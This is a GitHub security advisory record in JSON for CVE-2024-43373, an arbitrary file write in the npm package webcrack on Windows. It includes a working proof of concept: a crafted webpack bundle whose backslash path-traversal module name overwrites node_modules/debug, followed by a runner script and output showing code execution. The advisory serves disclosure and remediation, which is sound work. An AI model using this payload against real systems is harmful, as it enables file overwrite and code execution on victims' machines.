Vulnerabilities in pkg:npm/webcrack

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ccqh-278p-xq6w",
  "modified" : "2024-11-18T16:27:04Z",
  "published" : "2024-08-14T18:01:06Z",
  "aliases" : [ "CVE-2024-43373" ],
  "summary" : "webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle",
  "details" : "### Summary\nAn arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.\n\n### Details\n\nSource: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)\n```ts\nimport { posix } from 'node:path';\nimport type { Module } from './module';\n\n// eslint-disable-next-line @typescript-eslint/unbound-method\nconst { dirname, join, normalize } = posix;\n\n/* ... snip ... */\n\nconst modulePath = normalize(join(path, module.path));\nif (!modulePath.startsWith(path)) {\n    throw new Error(`detected path traversal: ${module.path}`);\n}\nawait mkdir(dirname(modulePath), {\n    recursive: true\n});\nawait writeFile(modulePath, module.code, 'utf8');\n```\n\nIn this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.\n\n### PoC\nThe following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:\n\n**Malicious Script (what.js):**\n\n```js\n(function (e) {\n    var n = {};\n    function o(r) {\n      if (n[r]) {\n        return n[r].exports;\n      }\n      var a = (n[r] = {\n        i: r,\n        l: false,\n        exports: {},\n      });\n      e[r].call(a.exports, a, a.exports, o);\n      a.l = true;\n      return a.exports;\n    }\n    o.p = '';\n    o((o.s = 386));\n  })({\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index': function (e, t, n) {\n        module.exports = () => console.log(\"pwned\")\n    },\n  });\n```\n\n**Webcrack Script (index.js):**\n\n```js\nimport fs from 'fs';\nimport { webcrack } from 'webcrack';\n\nconst input = fs.readFileSync('what.js', 'utf8');\n\nconst result = await webcrack(input);\nconsole.log(result.code);\nconsole.log(result.bundle);\nawait result.save('output-dir');\n```\n\n**Execution:**\nRunning the above script with `node index.js` twice results in the following output being printed to the terminal:\n\n```\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\n(function (e) {\n  var n = {};\n  function o(r) {\n    if (n[r]) {\n      return n[r].exports;\n    }\n    var a = n[r] = {\n      i: r,\n      l: false,\n      exports: {}\n    };\n    e[r].call(a.exports, a, a.exports, o);\n    a.l = true;\n    return a.exports;\n  }\n  o.p = \"\";\n  o(o.s = 386);\n})({\n  \"./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\": function (e, t, n) {\n    module.exports = () => console.log(\"pwned\");\n  }\n});\nWebpackBundle {\n  type: 'webpack',\n  entryId: '386',\n  modules: Map(1) {\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index' => WebpackModule {\n      id: './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index',\n      isEntry: false,\n      path: '././\\\\..\\\\node_modules\\\\debug\\\\src\\\\index.js',\n      ast: [Object]\n    }\n  }\n}\nWaiting for the debugger to disconnect...\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\npwned\npwned\npwned\npwned\npwned\npwned\npwned\nWaiting for the debugger to disconnect...\nfile:///C:/Webcrack/node_modules/webcrack/dist/index.js:444\n  if (options.log) logger(`${name}: started`);\n                   ^\n\nTypeError: logger is not a function\n    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)\n    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)\n    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)\n    at async file:///C:/Webcrack/index.js:6:16\n\nNode.js v18.16.0\n```\n\nThis demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.\n\n### Impact\nThis vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "webcrack"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/security/advisories/GHSA-ccqh-278p-xq6w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43373"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/commit/4bc5c6f353012ee7edc2cb39d01a728ab7426999"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/j4k0xb/webcrack"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-14T18:01:06Z",
    "nvd_published_at" : "2024-08-15T15:15:21Z"
  }
}